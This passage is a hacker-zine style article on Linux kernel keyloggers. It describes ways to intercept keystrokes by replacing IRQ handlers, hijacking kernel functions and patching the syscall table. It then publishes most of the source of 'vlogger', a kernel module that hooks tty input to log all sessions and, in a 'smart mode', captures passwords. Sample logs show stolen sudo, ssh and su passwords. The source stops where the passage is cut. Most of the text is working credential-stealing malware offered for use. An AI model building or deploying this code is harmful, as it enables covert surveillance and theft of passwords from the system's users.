Next, keycodes are converted to key symbols by looking them up on the appropriate keymap. This is a quite complex process. There are eight possible modifiers (shift keys ‑ Shift , AltGr, Control, Alt, ShiftL, ShiftR, CtrlL and CtrlR), and the combination of currently active modifiers and locks determines the keymap used.

After the above handling, the obtained characters are put into the raw tty queue ‑ tty_flip_buffer.

In the tty line discipline, receive_buf() function is called periodically to get characters from tty_flip_buffer then put them into tty read queue.

When user process want to get user input, it calls read() function on stdin of the process. sys_read() function will calls read() function defined in file_operations structure (which is pointed to tty_read) of corresponding tty (ex /dev/tty0) to read input characters and return to the process.

The keyboard driver can be in one of 4 modes:

‑ scancode (RAW MODE): the application gets scancodes for input. It is used by applications that implement their own keyboard driver (ex: X11)

‑ keycode (MEDIUMRAW MODE): the application gets information on which keys (identified by their keycodes) get pressed and released.

‑ ASCII (XLATE MODE): the application effectively gets the characters as defined by the keymap, using an 8‑bit encoding.

‑ Unicode (UNICODE MODE): this mode only differs from the ASCII mode by allowing the user to compose UTF8 unicode characters by their decimal value, using Ascii_0 to Ascii_9, or their hexadecimal (4‑digit) value, using Hex_0 to Hex_9. A keymap can be set up to produce UTF8 sequences (with a U+XXXX pseudo‑symbol, where each X is an hexadecimal digit).

Those modes influence what type of data that applications will get as keyboard input. For more details on scancode, keycode and keymaps, please read [3].

‑‑[ 3 ‑ Kernel based keylogger approaches

We can implement a kernel based keylogger in two ways by writing our own keyboard interrupt handler or hijacking one of input processing functions.

‑‑‑‑[ 3.1 ‑ Interrupt handler

To log keystrokes, we will use our own keyboard interrupt handler. Under Intel architectures, the IRQ of the keyboard controlled is IRQ 1. When receives a keyboard interrupt, our own keyboard interrupt handler read the scancode and keyboard status. Keyboard events can be read and written via port 0x60(Keyboard data register) and 0x64(Keyboard status register).

/* below code is intel specific */

#define KEYBOARD_IRQ 1

#define KBD_STATUS_REG 0x64

#define KBD_CNTL_REG 0x64

#define KBD_DATA_REG 0x60

#define kbd_read_input() inb(KBD_DATA_REG)

#define kbd_read_status() inb(KBD_STATUS_REG)

#define kbd_write_output(val) outb(val, KBD_DATA_REG)

#define kbd_write_command(val) outb(val, KBD_CNTL_REG)

/* register our own IRQ handler */

request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);

In my_keyboard_irq_handler():

scancode = kbd_read_input();

key_status = kbd_read_status();

log_scancode(scancode);

This method is platform dependent. So it won't be portable among platforms. And you have to be very careful with your interrupt handler if you don't want to crash your box ;)

‑‑‑‑[ 3.2 ‑ Function hijacking

Based on the Figure 1, we can implement our keylogger to log user inputs by hijacking one of handle_scancode(), put_queue(), receive_buf(), tty_read() and sys_read() functions. Note that we can't intercept tty_insert_flip_char() function because it is an INLINE function.

‑‑‑‑‑‑[ 3.2.1 ‑ handle_scancode

This is the entry function of the keyboard driver (see keyboard.c). It handles scancodes which are received from keyboard.

# /usr/src/linux/drives/char/keyboard.c

void handle_scancode(unsigned char scancode, int down);

We can replace original handle_scancode() function with our own to logs all scancodes. But handle_scancode() function is not a global and exported function. So to do this, we can use kernel function hijacking technique introduced by Silvio (see [5]).

/* below is a code snippet written by Plasmoid */

static struct semaphore hs_sem, log_sem;

static int logging=1;

#define CODESIZE 7

static char hs_code[CODESIZE];

static char hs_jump[CODESIZE] =

"\xb8\x00\x00\x00\x00" /* movl $0,%eax */

"\xff\xe0" /* jmp *%eax */

;

void (*handle_scancode) (unsigned char, int) =

(void (*)(unsigned char, int)) HS_ADDRESS;

void _handle_scancode(unsigned char scancode, int keydown)

{

if (logging && keydown) log_scancode(scancode, LOGFILE);

/*

* Restore first bytes of the original handle_scancode code. Call * the restored function and re‑restore the jump code. Code is * protected by semaphore hs_sem, we only want one CPU in here at a * time.

*/

down(&hs_sem);

memcpy(handle_scancode, hs_code, CODESIZE); handle_scancode(scancode, keydown); memcpy(handle_scancode, hs_jump, CODESIZE);

up(&hs_sem);

}

HS_ADDRESS is set by the Makefile executing this command HS_ADDRESS=0x$(word 1,$(shell ksyms ‑a | grep handle_scancode))

Similar to method presented in 3.1, the advantage of this method is the ability to log keystrokes under X and the console, no matter if a tty is invoked or not. And you will know exactly what key is pressed on the keyboard (including special keys such as Control, Alt, Shift, Print Screen, ...). But this method is platform dependent and won't be portable among platforms. This method also can't log keystroke of remote sessions and is quite complex for building an advance logger.

‑‑‑‑‑‑[ 3.2.2 ‑ put_queue

This function is called by handle_scancode() function to put characters into tty_queue.

# /usr/src/linux/drives/char/keyboard.c

void put_queue(int ch);

To intercept this function, we can use the above technique as in section (3.2.1).

‑‑‑‑‑‑[ 3.2.3 ‑ receive_buf

receive_buf() function is called by the low‑level tty driver to send characters received by the hardware to the line discipline for processing.

# /usr/src/linux/drivers/char/n_tty.c */

static void n_tty_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count)

cp is a pointer to the buffer of input character received by the device. fp is a pointer to a pointer of flag bytes which indicate whether a character was received with a parity error, etc.

Lets take a deeper look into tty structures

# /usr/include/linux/tty.h

struct tty_struct {

intmagic;

struct tty_driver driver;

struct tty_ldisc ldisc;

struct termios *termios, *termios_locked;

...

}

# /usr/include/linux/tty_ldisc.h

struct tty_ldisc {

intmagic;

char*name;

...

void(*receive_buf)(struct tty_struct *,

const unsigned char *cp, char *fp, int count);

int(*receive_room)(struct tty_struct *);

void(*write_wakeup)(struct tty_struct *);

};

To intercept this function, we can save the original tty receive_buf() function then set ldisc.receive_buf to our own new_receive_buf() function in order to logging user inputs.

Ex: to log inputs on the tty0

int fd = open("/dev/tty0", O_RDONLY, 0);

struct file *file = fget(fd);

struct tty_struct *tty = file‑>private_data;

old_receive_buf = tty‑>ldisc.receive_buf; tty‑>ldisc.receive_buf = new_receive_buf;

void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count)

{

logging(tty, cp, count); //log inputs

/* call the original receive_buf */

(*old_receive_buf)(tty, cp, fp, count);

}

‑‑‑‑‑‑[ 3.2.4 ‑ tty_read

This function is called when a process wants to read input characters from a tty via sys_read() function.

# /usr/src/linux/drives/char/tty_io.c

static ssize_t tty_read(struct file * file, char * buf, size_t count, loff_t *ppos)

static struct file_operations tty_fops = {

llseek:tty_lseek,

read:tty_read,

write:tty_write,

poll:tty_poll,

ioctl:tty_ioctl,

open:tty_open,

release:tty_release,

fasync:tty_fasync,

};

To log inputs on the tty0:

int fd = open("/dev/tty0", O_RDONLY, 0);

struct file *file = fget(fd);

old_tty_read = file‑>f_op‑>read;

file‑>f_op‑>read = new_tty_read;

‑‑‑‑‑‑[ 3.2.5 ‑ sys_read/sys_write

We will intercept sys_read/sys_write system calls to redirect it to our own code which logs the content of the read/write calls. This method was presented by halflife in Phrack 50 (see [4]). I highly recommend reading that paper and a great article written by pragmatic called "Complete Linux Loadable Kernel Modules" (see [2]).

The code to intercept sys_read/sys_write will be something like this:

extern void *sys_call_table[];

original_sys_read = sys_call_table[__NR_read]; sys_call_table[__NR_read] = new_sys_read;

‑‑[ 4 ‑ vlogger

This part will introduce my kernel keylogger which is used method described in section 3.2.3 to acquire more abilities than common keyloggers used sys_read/sys_write systemcall replacement approach. I have tested the code with the following versions of linux kernel: 2.4.5, 2.4.7, 2.4.17 and 2.4.18.

‑‑‑‑[ 4.1 ‑ The syscall/tty approach

To logging both local (logged from console) and remote sessions, I chose the method of intercepting receive_buf() function (see 3.2.3).

In the kernel, tty_struct and tty_queue structures are dynamically allocated only when the tty is open. Thus, we also have to intercept sys_open syscall to dynamically hooking the receive_buf() function of each tty or pty when it's invoked.

// to intercept open syscall

original_sys_open = sys_call_table[__NR_open]; sys_call_table[__NR_open] = new_sys_open;

// new_sys_open()

asmlinkage int new_sys_open(const char *filename, int flags, int mode) {

...

// call the original_sys_open

ret = (*original_sys_open)(filename, flags, mode);

if (ret >= 0) {

struct tty_struct * tty;

...

file = fget(ret);

tty = file‑>private_data;

if (tty != NULL &&

...

tty‑>ldisc.receive_buf != new_receive_buf) {

...

// save the old receive_buf

old_receive_buf = tty‑>ldisc.receive_buf;

...

/*

* init to intercept receive_buf of this tty * tty‑>ldisc.receive_buf = new_receive_buf; */

init_tty(tty, TTY_INDEX(tty));

}

...

}

// our new receive_buf() function

void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count)

{

if (!tty‑>real_raw && !tty‑>raw)// ignore raw mode

// call our logging function to log user inputs

vlogger_process(tty, cp, count);

// call the original receive_buf

(*old_receive_buf)(tty, cp, fp, count);

}

‑‑‑‑[ 4.2 ‑ Features

‑ Logs both local and remote sessions (via tty & pts)

‑ Separate logging for each tty/session. Each tty has their own logging buffer.

‑ Nearly support all special chars such as arrow keys (left, right, up, down), F1 to F12, Shift+F1 to Shift+F12, Tab, Insert, Delete, End, Home, Page Up, Page Down, BackSpace, ...

‑ Support some line editing keys included CTRL‑U and BackSpace.

‑ Timestamps logging, timezone supported (ripped off some codes from libc).

‑ Multiple logging modes

o dumb mode: logs all keystrokes

o smart mode: detects password prompt automatically to log user/password only. I used the similar technique presented in "Passive Analysis of SSH (Secure Shell) Traffic" paper by Solar Designer and Dug Song (see [6]). When the application turns input echoing off, we assume that it is for entering a password.

o normal mode: disable logging

You can switch between logging modes by using a magic password.

#define VK_TOGLE_CHAR29// CTRL‑]

#define MAGIC_PASS"31337"// to switch mode, type MAGIC_PASS

// then press VK_TOGLE_CHAR key

‑‑‑‑[ 4.3 ‑ How to use

Change the following options

// directory to store log files

#define LOG_DIR "/tmp/log"

// your local timezone

#define TIMEZONE7*60*60// GMT+7

// your magic password

#define MAGIC_PASS"31337"

Below is how the log file looks like:

[root@localhost log]# ls ‑l

total 60

‑rw‑‑‑‑‑‑‑ 1 root root 633 Jun 19 20:59 pass.log ‑rw‑‑‑‑‑‑‑ 1 root root 37593 Jun 19 18:51 pts11 ‑rw‑‑‑‑‑‑‑ 1 root root 56 Jun 19 19:00 pts20 ‑rw‑‑‑‑‑‑‑ 1 root root 746 Jun 19 20:06 pts26 ‑rw‑‑‑‑‑‑‑ 1 root root 116 Jun 19 19:57 pts29 ‑rw‑‑‑‑‑‑‑ 1 root root 3219 Jun 19 21:30 tty1 ‑rw‑‑‑‑‑‑‑ 1 root root 18028 Jun 19 20:54 tty2

‑‑‑in dumb mode

[root@localhost log]# head tty2// local session

<19/06/2002‑20:53:47 uid=501 bash> pwd

<19/06/2002‑20:53:51 uid=501 bash> uname ‑a <19/06/2002‑20:53:53 uid=501 bash> lsmod

<19/06/2002‑20:53:56 uid=501 bash> pwd

<19/06/2002‑20:54:05 uid=501 bash> cd /var/log <19/06/2002‑20:54:13 uid=501 bash> tail messages <19/06/2002‑20:54:21 uid=501 bash> cd ~

<19/06/2002‑20:54:22 uid=501 bash> ls

<19/06/2002‑20:54:29 uid=501 bash> tty

<19/06/2002‑20:54:29 uid=501 bash> [UP]

[root@localhost log]# tail pts11// remote session

<19/06/2002‑18:48:27 uid=0 bash> cd new

<19/06/2002‑18:48:28 uid=0 bash> cp ‑p ~/code . <19/06/2002‑18:48:21 uid=0 bash> lsmod

<19/06/2002‑18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/ <19/06/2002‑18:48:28 uid=0 bash> ls ‑l

<19/06/2002‑18:48:30 uid=0 bash> tail pts11 <19/06/2002‑18:48:38 uid=0 bash> [UP] | more <19/06/2002‑18:50:44 uid=0 bash> vi vlogertxt <19/06/2002‑18:50:48 uid=0 vi> :q

<19/06/2002‑18:51:14 uid=0 bash> rmmod vlogger

‑‑‑in smart mode

[root@localhost log]# cat pass.log

[19/06/2002‑18:28:05 tty=pts/20 uid=501 sudo]

USER/CMD sudo traceroute yahoo.com

PASS 5hgt6d

PASS

[19/06/2002‑19:59:15 tty=pts/26 uid=0 ssh]

USER/CMD ssh guest@host.com

PASS guest

[19/06/2002‑20:50:44 tty=pts/29 uid=504 ftp]

USER/CMD open ftp.ilog.fr

USER Anonymous

PASS heh@heh

[19/06/2002‑20:59:54 tty=pts/29 uid=504 su]

USER/CMD su ‑

PASS asdf1234

Please check http://www.thehackerschoice.com/ for update on the new version

of this tool.

‑‑[ 5 ‑ Greets

Thanks to plasmoid, skyper for your very useful comments Greets to THC, vnsecurity and all friends

Finally, thanks to mr. thang for english corrections

‑‑[ 6 ‑ References

[1] Linux Kernel Module Programming http://www.tldp.org/LDP/lkmpg/

[2] Complete Linux Loadable Kernel Modules ‑ Pragmatic http://www.thehackerschoice.com/papers/LKM_HACKING.html

[3] The Linux keyboard driver ‑ Andries Brouwer http://www.linuxjournal.com/lj‑issues/issue14/1080.html

[4] Abuse of the Linux Kernel for Fun and Profit ‑ Halflife http://www.phrack.com/phrack/50/P50‑05

[5] Kernel function hijacking ‑ Silvio Cesare http://www.big.net.au/~silvio/kernel‑hijack.txt

[6] Passive Analysis of SSH (Secure Shell) Traffic ‑ Solar Designer http://www.openwall.com/advisories/OW‑003‑ssh‑traffic‑analysis.txt

[7] Kernel Based Keylogger ‑ Mercenary http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt

‑‑[ 7 ‑ Keylogger sources

<++> vlogger/Makefile

#

# vlogger 1.0 by rd

#

# LOCAL_ONLYlogging local session only. Doesn't intercept

#sys_open system call

# DEBUGEnable debug. Turn on this options will slow

#down your system

#

KERNELDIR =/usr/src/linux

include $(KERNELDIR)/.config

MODVERFILE = $(KERNELDIR)/include/linux/modversions.h

MODDEFS = ‑D__KERNEL__ ‑DMODULE ‑DMODVERSIONS

CFLAGS = ‑Wall ‑O2 ‑I$(KERNELDIR)/include ‑include $(MODVERFILE) \ ‑Wstrict‑prototypes ‑fomit‑frame‑pointer ‑pipe \ ‑fno‑strength‑reduce ‑malign‑loops=2 ‑malign‑jumps=2 \ ‑malign‑functions=2

all : vlogger.o

vlogger.o: vlogger.c

$(CC) $(CFLAGS) $(MODDEFS) ‑c $^ ‑o $@

clean:

rm ‑f *.o

<‑‑>

<++> vlogger/vlogger.c

/*

* vlogger 1.0

*

* Copyright (C) 2002 rd <rd@vnsecurity.net>

*

* Please check http://www.thehackerschoice.com/ for update

*

* This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version

*

* This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details.

*

* Greets to THC & vnsecurity

*

*/

#define __KERNEL_SYSCALLS__

#include <linux/version.h>

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/smp_lock.h>

#include <linux/sched.h>

#include <linux/unistd.h>

#include <linux/string.h>

#include <linux/file.h>

#include <asm/uaccess.h>

#include <linux/proc_fs.h>

#include <asm/errno.h>

#include <asm/io.h>

#ifndef KERNEL_VERSION

#define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c)) #endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9) MODULE_LICENSE("GPL");

MODULE_AUTHOR("rd@vnsecurity.net");

#endif

#define MODULE_NAME "vlogger "

#define MVERSION "vlogger 1.0 ‑ by rd@vnsecurity.net\n"

#ifdef DEBUG

#define DPRINT(format, args...) printk(MODULE_NAME format, ##args) #else

#define DPRINT(format, args...)

#endif

#define N_TTY_NAME "tty"

#define N_PTS_NAME "pts"

#define MAX_TTY_CON 8

#define MAX_PTS_CON 256

#define LOG_DIR "/tmp/log"

#define PASS_LOG LOG_DIR "/pass.log"

#define TIMEZONE 7*60*60// GMT+7

#define ESC_CHAR 27

#define BACK_SPACE_CHAR1 127// local

#define BACK_SPACE_CHAR2 8// remote

#define VK_TOGLE_CHAR 29// CTRL‑]

#define MAGIC_PASS "31337" // to switch mode, press MAGIC_PASS and

// VK_TOGLE_CHAR

#defineVK_NORMAL 0

#defineVK_DUMBMODE 1

#defineVK_SMARTMODE 2

#define DEFAULT_MODE VK_DUMBMODE

#define MAX_BUFFER 256

#define MAX_SPECIAL_CHAR_SZ 12

#define TTY_NUMBER(tty) MINOR((tty)‑>device) ‑ (tty)‑>driver.minor_start \ + (tty)‑>driver.name_base

#define TTY_INDEX(tty) tty‑>driver.type == \ TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + \ TTY_NUMBER(tty):TTY_NUMBER(tty)

#define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)

#define TTY_WRITE(tty, buf, count) (*tty‑>driver.write)(tty, 0, \ buf, count)

#define TTY_NAME(tty) (tty‑>driver.type == \ TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: \

tty‑>driver.type == TTY_DRIVER_TYPE_PTY && \ tty‑>driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")

#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds()); #define END_KMEM set_fs(old_fs); }

extern void *sys_call_table[];

int errno;

struct tlogger {

struct tty_struct *tty;

char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ];

int lastpos;

int status;

int pass;

};

struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL }; void (*old_receive_buf)(struct tty_struct *, const unsigned char *, char *, int);

asmlinkage int (*original_sys_open)(const char *, int, int);

int vlogger_mode = DEFAULT_MODE;

/* Prototypes */

static inline void init_tty(struct tty_struct *, int);

/*

static char *_tty_make_name(struct tty_struct *tty,

const char *name, char *buf)

{

int idx = (tty)?MINOR(tty‑>device) ‑ tty‑>driver.minor_start:0;

if (!tty)

strcpy(buf, "NULL tty");

else

sprintf(buf, name,

idx + tty‑>driver.name_base);

return buf;

}

char *tty_name(struct tty_struct *tty, char *buf)

{

return _tty_make_name(tty, (tty)?tty‑>driver.name:NULL, buf); }

*/

#define SECS_PER_HOUR (60 * 60)

#define SECS_PER_DAY (SECS_PER_HOUR * 24)

#define isleap(year) \

((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0)) #define DIV(a, b) ((a) / (b) ‑ ((a) % (b) < 0))

#define LEAPS_THRU_END_OF(y) (DIV (y, 4) ‑ DIV (y, 100) + DIV (y, 400))

struct vtm {

int tm_sec;

int tm_min;

int tm_hour;

int tm_mday;

int tm_mon;

int tm_year;

};

/*

* Convert from epoch to date

*/

int epoch2time (const time_t *t, long int offset, struct vtm *tp) {

static const unsigned short int mon_yday[2][13] = {

/* Normal years. */

{ 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 }, /* Leap years. */

{ 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 } };

long int days, rem, y;

const unsigned short int *ip;

days = *t / SECS_PER_DAY;

rem = *t % SECS_PER_DAY;

rem += offset;

while (rem < 0) {

rem += SECS_PER_DAY;

‑‑days;

}

while (rem >= SECS_PER_DAY) {

rem ‑= SECS_PER_DAY;

++days;

}

tp‑>tm_hour = rem / SECS_PER_HOUR;

rem %= SECS_PER_HOUR;

tp‑>tm_min = rem / 60;

tp‑>tm_sec = rem % 60;

y = 1970;

while (days < 0 || days >= (isleap (y) ? 366 : 365)) {

long int yg = y + days / 365 ‑ (days % 365 < 0);

days ‑= ((yg ‑ y) * 365

+ LEAPS_THRU_END_OF (yg ‑ 1)

‑ LEAPS_THRU_END_OF (y ‑ 1));

y = yg;

}

tp‑>tm_year = y ‑ 1900;

if (tp‑>tm_year != y ‑ 1900)

return 0;

ip = mon_yday[isleap(y)];

for (y = 11; days < (long int) ip[y]; ‑‑y)

continue;

days ‑= ip[y];

tp‑>tm_mon = y;

tp‑>tm_mday = days + 1;

return 1;

}

/*

* Get current date & time

*/

void get_time (char *date_time)

{

struct timeval tv;

time_t t;

struct vtm tm;

do_gettimeofday(&tv);

t = (time_t)tv.tv_sec;

epoch2time(&t, TIMEZONE, &tm);

sprintf(date_time, "%.2d/%.2d/%d‑%.2d:%.2d:%.2d", tm.tm_mday, tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min, tm.tm_sec);

}

/*

* Get task structure from pgrp id

*/

inline struct task_struct *get_task(pid_t pgrp)

{

struct task_struct *task = current;

do {

if (task‑>pgrp == pgrp) { return task;

}

task = task‑>next_task;

} while (task != current);

return NULL;

}

#define _write(f, buf, sz) (f‑>f_op‑>write(f, buf, sz, &f‑>f_pos)) #define WRITABLE(f) (f‑>f_op && f‑>f_op‑>write)

int write_to_file(char *logfile, char *buf, int size)

{

int ret = 0;

struct file *f = NULL;

lock_kernel();

BEGIN_KMEM;

f = filp_open(logfile, O_CREAT|O_APPEND, 00600);

if (IS_ERR(f)) {

DPRINT("Error %ld opening %s\n", ‑PTR_ERR(f), logfile); ret = ‑1;

} else {

if (WRITABLE(f))

_write(f, buf, size);

else {

DPRINT("%s does not have a write method\n", logfile);

ret = ‑1;

}

if ((ret = filp_close(f,NULL)))

DPRINT("Error %d closing %s\n", ‑ret, logfile);

}

END_KMEM;

unlock_kernel();

return ret;

}

#define BEGIN_ROOT { int saved_fsuid = current‑>fsuid; current‑>fsuid = 0; #define END_ROOT current‑>fsuid = saved_fsuid; }

/*

* Logging keystrokes

*/

void logging(struct tty_struct *tty, struct tlogger *tmp, int cont) {

int i;

char logfile[256];

char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256];

char date_time[24];

struct task_struct *task;

if (vlogger_mode == VK_NORMAL)

return;

if ((vlogger_mode == VK_SMARTMODE) && (!tmp‑>lastpos || cont)) return;

task = get_task(tty‑>pgrp);

for (i=0; i<tmp‑>lastpos; i++)

if (tmp‑>buf[i] == 0x0D) tmp‑>buf[i] = 0x0A;

if (!cont)

tmp‑>buf[tmp‑>lastpos++] = 0x0A;

tmp‑>buf[tmp‑>lastpos] = 0;

if (vlogger_mode == VK_DUMBMODE) {

snprintf(logfile, sizeof(logfile)‑1, "%s/%s%d",

LOG_DIR, TTY_NAME(tty),TTY_NUMBER(tty));

BEGIN_ROOT

if (!tmp‑>status) {

get_time(date_time);

if (task)

snprintf(loginfo, sizeof(loginfo)‑1,

"<%s uid=%d %s> %s", date_time,

task‑>uid, task‑>comm, tmp‑>buf);

else

snprintf(loginfo, sizeof(loginfo)‑1,

"<%s> %s", date_time, tmp‑>buf);

write_to_file(logfile, loginfo, strlen(loginfo));

} else {

write_to_file(logfile, tmp‑>buf, tmp‑>lastpos);

}

END_ROOT

#ifdef DEBUG

if (task)

DPRINT("%s/%d uid=%d %s: %s",

TTY_NAME(tty), TTY_NUMBER(tty),

task‑>uid, task‑>comm, tmp‑>buf);

else

DPRINT("%s", tmp‑>buf);

#endif

tmp‑>status = cont;

} else {

/*

* Logging USER/CMD and PASS in SMART_MODE

*/

BEGIN_ROOT

if (!tmp‑>pass) {

get_time(date_time);

if (task)

snprintf(loginfo, sizeof(loginfo)‑1,

"\n[%s tty=%s/%d uid=%d %s]\n"

"USER/CMD %s", date_time, TTY_NAME(tty),TTY_NUMBER(tty),

task‑>uid, task‑>comm, tmp‑>buf);

else

snprintf(loginfo, sizeof(loginfo)‑1,

"\n[%s tty=%s/%d]\nUSER/CMD %s",

date_time, TTY_NAME(tty),

TTY_NUMBER(tty), tmp‑>buf);

write_to_file(PASS_LOG, loginfo, strlen(loginfo));

} else {

snprintf(loginfo, sizeof(loginfo)‑1, "PASS %s", tmp‑>buf);

write_to_file (PASS_LOG, loginfo, strlen(loginfo));

}

END_ROOT

#ifdef DEBUG

if (!tmp‑>pass)

DPRINT("USER/CMD %s", tmp‑>buf);

else

DPRINT("PASS %s", tmp‑>buf);

#endif

}

if (!cont) tmp‑>buf[‑‑tmp‑>lastpos] = 0;

}

#define resetbuf(t)\

{\

t‑>buf[0] = 0;\

t‑>lastpos = 0;\

}

#define append_c(t, s, n)\

{\

t‑>lastpos += n;\

strncat(t‑>buf, s, n);\

}

static inline void reset_all_buf(void)

{

int i = 0;

for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++)

if (ttys[i] != NULL)

resetbuf(ttys[i]);

}

void special_key(struct tlogger *tmp, const unsigned char *cp, int count) {

switch(count) {

case 2:

switch(cp[1]) {

case '\'':

append_c(tmp, "[ALT‑\']", 7);

break;

case ',':

append_c(tmp, "[ALT‑,]", 7);

break;

case '‑':

append_c(tmp, "[ALT‑‑]", 7);

break;

case '.':

append_c(tmp, "[ALT‑.]", 7);

break;

case '/':

append_c(tmp, "[ALT‑/]", 7);

break;

case '0':

append_c(tmp, "[ALT‑0]", 7);

break;

case '1':

append_c(tmp, "[ALT‑1]", 7);

break;

case '2':

append_c(tmp, "[ALT‑2]", 7);

break;

case '3':

append_c(tmp, "[ALT‑3]", 7);

break;

case '4':

append_c(tmp, "[ALT‑4]", 7);

break;

case '5':

append_c(tmp, "[ALT‑5]", 7);

break;

case '6':

append_c(tmp, "[ALT‑6]", 7);

break;

case '7':

append_c(tmp, "[ALT‑7]", 7);

break;

case '8':

append_c(tmp, "[ALT‑8]", 7);

break;

case '9':

append_c(tmp, "[ALT‑9]", 7);

break;

case ';':

append_c(tmp, "[ALT‑;]", 7);

break;

case '=':

append_c(tmp, "[ALT‑=]", 7);

break;

case '[':

append_c(tmp, "[ALT‑[]", 7);

break;

case '\\':

append_c(tmp, "[ALT‑\\]", 7);

break;

case ']':

append_c(tmp, "[ALT‑]]", 7);

break;

case '`':

append_c(tmp, "[ALT‑`]", 7);

break;

case 'a':

append_c(tmp, "[ALT‑A]", 7);

break;

case 'b':

append_c(tmp, "[ALT‑B]", 7);

break;

case 'c':

append_c(tmp, "[ALT‑C]", 7);

break;

case 'd':

append_c(tmp, "[ALT‑D]", 7);

break;

case 'e':

append_c(tmp, "[ALT‑E]", 7);

break;

case 'f':

append_c(tmp, "[ALT‑F]", 7);

break;

case 'g':

append_c(tmp, "[ALT‑G]", 7);

break;

case 'h':

append_c(tmp, "[ALT‑H]", 7);

break;

case 'i':

append_c(tmp, "[ALT‑I]", 7);

break;

case 'j':

append_c(tmp, "[ALT‑J]", 7);

break;

case 'k':

append_c(tmp, "[ALT‑K]", 7);

break;

case 'l':

append_c(tmp, "[ALT‑L]", 7);

break;

case 'm':

append_c(tmp, "[ALT‑M]", 7);

break;

case 'n':

append_c(tmp, "[ALT‑N]", 7);

break;

case 'o':

append_c(tmp, "[ALT‑O]", 7);

break;

case 'p':

append_c(tmp, "[ALT‑P]", 7);

break;

case 'q':

append_c(tmp, "[ALT‑Q]", 7);

break;

case 'r':

append_c(tmp, "[ALT‑R]", 7);

break;

case 's':

append_c(tmp, "[ALT‑S]", 7);

break;

case 't':

append_c(tmp, "[ALT‑T]", 7);

break;

case 'u':

append_c(tmp, "[ALT‑U]", 7);

break;

case 'v':

append_c(tmp, "[ALT‑V]", 7);

break;

case 'x':

append_c(tmp, "[ALT‑X]", 7);

break;

case 'y':

append_c(tmp, "[ALT‑Y]", 7);

break;

case 'z':

append_c(tmp, "[ALT‑Z]", 7);

break;

}

break;

case 3:

switch(cp[2]) {

case 68:

// Left: 27 91 68

append_c(tmp, "[LEFT]", 6);

break;

case 67:

// Right: 27 91 67

append_c(tmp, "[RIGHT]", 7);

break;

case 65:

// Up: 27 91 65

append_c(tmp, "[UP]", 4);

break;

case 66:

// Down: 27 91 66

append_c(tmp, "[DOWN]", 6);

break;

case 80:

// Pause/Break: 27 91 80

append_c(tmp, "[BREAK]", 7);

break;

}

break;

case 4:

switch(cp[3]) {

case 65:

// F1: 27 91 91 65

append_c(tmp, "[F1]", 4);

break;

case 66:

// F2: 27 91 91 66

append_c(tmp, "[F2]", 4);

break;

case 67:

// F3: 27 91 91 67

append_c(tmp, "[F3]", 4);

break;

case 68:

// F4: 27 91 91 68

append_c(tmp, "[F4]", 4);

break;

case 69:

// F5: 27 91 91 69

append_c(tmp, "[F5]", 4);

break;

case 126:

switch(cp[2]) {

case 53:

// PgUp: 27 91 53 126

append_c(tmp, "[PgUP]", 6);

break;

case 54:

// PgDown: 27 91 54 126

append_c(tmp,

"[PgDOWN]", 8);

break;

case 49:

// Home: 27 91 49 126

append_c(tmp, "[HOME]", 6);

break;

case 52:

// End: 27 91 52 126

append_c(tmp, "[END]", 5);

break;

case 50:

// Insert: 27 91 50 126

append_c(tmp, "[INS]", 5);

break;

case 51:

// Delete: 27 91 51 126

append_c(tmp, "[DEL]", 5);

break;

}

break;

}

break;

case 5:

if(cp[2] == 50)

switch(cp[3]) {

case 48:

// F9: 27 91 50 48 126

append_c(tmp, "[F9]", 4);

break;

case 49:

// F10: 27 91 50 49 126

append_c(tmp, "[F10]", 5);

break;

case 51:

// F11: 27 91 50 51 126

append_c(tmp, "[F11]", 5);

break;

case 52:

// F12: 27 91 50 52 126

append_c(tmp, "[F12]", 5);

break;

case 53:

// Shift‑F1: 27 91 50 53 126

append_c(tmp, "[SH‑F1]", 7);

break;

case 54:

// Shift‑F2: 27 91 50 54 126

append_c(tmp, "[SH‑F2]", 7);

break;

case 56:

// Shift‑F3: 27 91 50 56 126

append_c(tmp, "[SH‑F3]", 7);

break;

case 57:

// Shift‑F4: 27 91 50 57 126

append_c(tmp, "[SH‑F4]", 7);

break;

}

else

switch(cp[3]) {

case 55:

// F6: 27 91 49 55 126

append_c(tmp, "[F6]", 4);

break;

case 56:

// F7: 27 91 49 56 126

append_c(tmp, "[F7]", 4);

break;

case 57:

// F8: 27 91 49 57 126

append_c(tmp, "[F8]", 4);

break;

case 49:

// Shift‑F5: 27 91 51 49 126

append_c(tmp, "[SH‑F5]", 7);

break;

case 50:

// Shift‑F6: 27 91 51 50 126

append_c(tmp, "[SH‑F6]", 7);

break;

case 51:

// Shift‑F7: 27 91 51 51 126

append_c(tmp, "[SH‑F7]", 7);

break;

case 52:

// Shift‑F8: 27 91 51 52 126

append_c(tmp, "[SH‑F8]", 7);

break;

};

break;

default:// Unknow

break;

}

}

/*

* Called whenever user press a key

*/

